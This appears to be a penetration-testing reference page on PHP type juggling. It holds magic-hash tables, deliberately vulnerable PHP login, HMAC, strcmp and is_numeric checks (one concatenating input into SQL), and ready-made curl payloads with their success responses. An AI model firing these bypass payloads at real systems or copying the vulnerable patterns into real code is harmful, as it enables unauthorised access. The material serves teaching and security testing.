# PHP Type Juggling

> Exploiting PHP's loose type comparison operators to bypass authentication and logic checks via unexpected type coercion behaviours.

- **URL:** https://hackindex.io/services/web/exploitation/php-type-juggling
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-09-13
- **Updated:** 2026-09-13

PHP loose comparison (`==`) converts operands to a common type before comparing. Strict comparison (`===`) checks both value and type with no conversion. When authentication logic, HMAC verification, or access control uses loose comparison, an attacker can submit values that PHP coerces to match expected values. This turns secure-looking comparisons into trivially bypassable checks. The core issue is that PHP treats `"0e123"` as `0` in numeric context, `true` matches any non-empty string, and `0` equals any non-numeric string. Type juggling is one of the most common PHP-specific authentication bypass techniques; test it alongside the other methods covered in [authentication vulnerability testing](https://hackindex.io/services/web/vulnerability-discovery/authentication-vulnerability-testing).

## Magic Hashes

Hashes starting with `0e` followed by only digits are interpreted as scientific notation (0 * 10^N = 0) in loose comparison. If the stored password hash starts with `0e` and only contains digits after it, comparing it with `==` to any other `0e`-digit-only hash returns true because both evaluate to `0`.

| Algorithm | Input | Hash |
| --- | --- | --- |
| MD5 | 240610708 | 0e462097431906509019562988736854 |
| MD5 | QNKCDZO | 0e830400451993494058024219903391 |
| MD5 | aabg7XSs | 0e087386482136013740957780965295 |
| SHA1 | aaroZmOk | 0e66507019969427134894567494305185566735 |
| SHA256 | 34250003024812 | 0e46289032038065916139621039085883773413820991920706299695051332 |

A vulnerable login hashes the submitted password and compares it with `==`:

```php
$hash = md5($_POST['password']);
if ($hash == '0e462097431906509019562988736854') {
    // authenticated
}
```

Submitting `QNKCDZO` as the password produces a different `0e` hash, but `==` treats both as 0, so the comparison passes.

```bash
curl -si -X POST "http://$TARGET_IP:$PORT/login" -d "username=admin&password=QNKCDZO"
# HTTP/1.1 302 Found
# Location: /dashboard
# Set-Cookie: session=eyJhZG1pbiI6dHJ1ZX0
```

## Authentication Bypass

When login code compares user input directly with `==`, submitting specific types bypasses the check.

```php
if ($_POST['password'] == $stored_password) {
    // authenticated
}
```

Submitting `true` (as boolean) matches any non-empty string. Submitting `0` matches any string that does not start with a digit. Submitting an empty array `[]` can cause unexpected behavior. JSON requests preserve native types, making this the most practical delivery method.

```bash
curl -s -X POST "http://$TARGET_IP:$PORT/login" -H "Content-Type: application/json" -d '{"username":"admin","password":true}'
# {"status":"success","message":"Welcome, admin"}
```

```bash
curl -s -X POST "http://$TARGET_IP:$PORT/login" -H "Content-Type: application/json" -d '{"username":"admin","password":0}'
# {"status":"success","message":"Welcome, admin"}
```

## HMAC Bypass

When HMAC verification uses `==` instead of `hash_equals()`, the same `0e` trick works.

```php
$expected = hash_hmac('md5', $message, $secret);
if ($expected == $_POST['signature']) {
    // valid signature
}
```

If the computed HMAC starts with `0e` and contains only digits, sending `0` as the signature passes the check because `"0eNNN..." == 0` is true. The attacker controls the message, so they can iterate over message values until the resulting HMAC is a magic hash.

```bash
curl -s -X POST "http://$TARGET_IP:$PORT/api/verify" -d "message=test&signature=0"
# {"valid":true}
```

## strcmp Bypass

`strcmp()` returns NULL when passed an array instead of a string. In loose comparison, `NULL == 0` is true.

```php
if (strcmp($_POST['password'], $stored_password) == 0) {
    // authenticated
}
```

PHP receives `password` as an array, strcmp returns NULL, and `NULL == 0` passes.

```bash
curl -s -X POST "http://$TARGET_IP:$PORT/login" -d "password[]=anything"
# {"status":"success","message":"Welcome, admin"}
```

> [!WARNING]
> The strcmp() array bypass only works on PHP 7.x and below. PHP 8.0+ throws a TypeError for non-string arguments instead of returning NULL.

## is_numeric Bypass

`is_numeric()` accepts scientific notation (`1e2`), hex strings (`0xFF` in PHP < 7), and values with leading whitespace. This can bypass numeric validation before the value reaches a SQL query or comparison.

```php
if (is_numeric($_GET['id'])) {
    $query = "SELECT * FROM users WHERE id = " . $_GET['id'];
}
```

Submitting `1e0` passes `is_numeric()` and evaluates to 1. In older PHP versions, `0x1A` is accepted as numeric. PHP 7+ no longer considers hex strings numeric, but scientific notation still works.

```bash
curl -s "http://$TARGET_IP:$PORT/profile?id=1e0"
```

## JSON-Based Type Juggling

`json_decode()` preserves the original JSON types. Sending `true` (boolean), `0` (integer), or `[]` (array) in a JSON body passes these native types to PHP comparison operators. This is the most reliable type juggling vector because HTML forms always send strings, but JSON preserves types.

```bash
curl -s -X POST "http://$TARGET_IP:$PORT/api/login" -H "Content-Type: application/json" -d '{"username":"admin","password":true}'
# {"status":"success","message":"Authenticated as admin"}
```

```bash
curl -s -X POST "http://$TARGET_IP:$PORT/api/login" -H "Content-Type: application/json" -d '{"username":"admin","password":[]}'
```

The array comparison `[] == "string"` is always false in PHP 8+, but in PHP 7 and below, arrays compared to strings with `==` would produce warnings but could behave unexpectedly depending on the comparison chain. Focus on the boolean and integer vectors for PHP 8 targets.

> [!WARNING]
> PHP 8.0 changed loose comparison behavior. `0 == "string"` is now `false`. The boolean `true` vector and magic hashes still work. Test the PHP version before choosing your payload.

## References

- [OWASP: PHP Magic Tricks](https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf) - Type juggling exploitation techniques
- [PayloadsAllTheThings: Type Juggling](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.md) - Payload reference for PHP type juggling
- [PHP: Comparison Tables](https://www.php.net/manual/en/types.comparisons.php) - Official loose and strict comparison tables
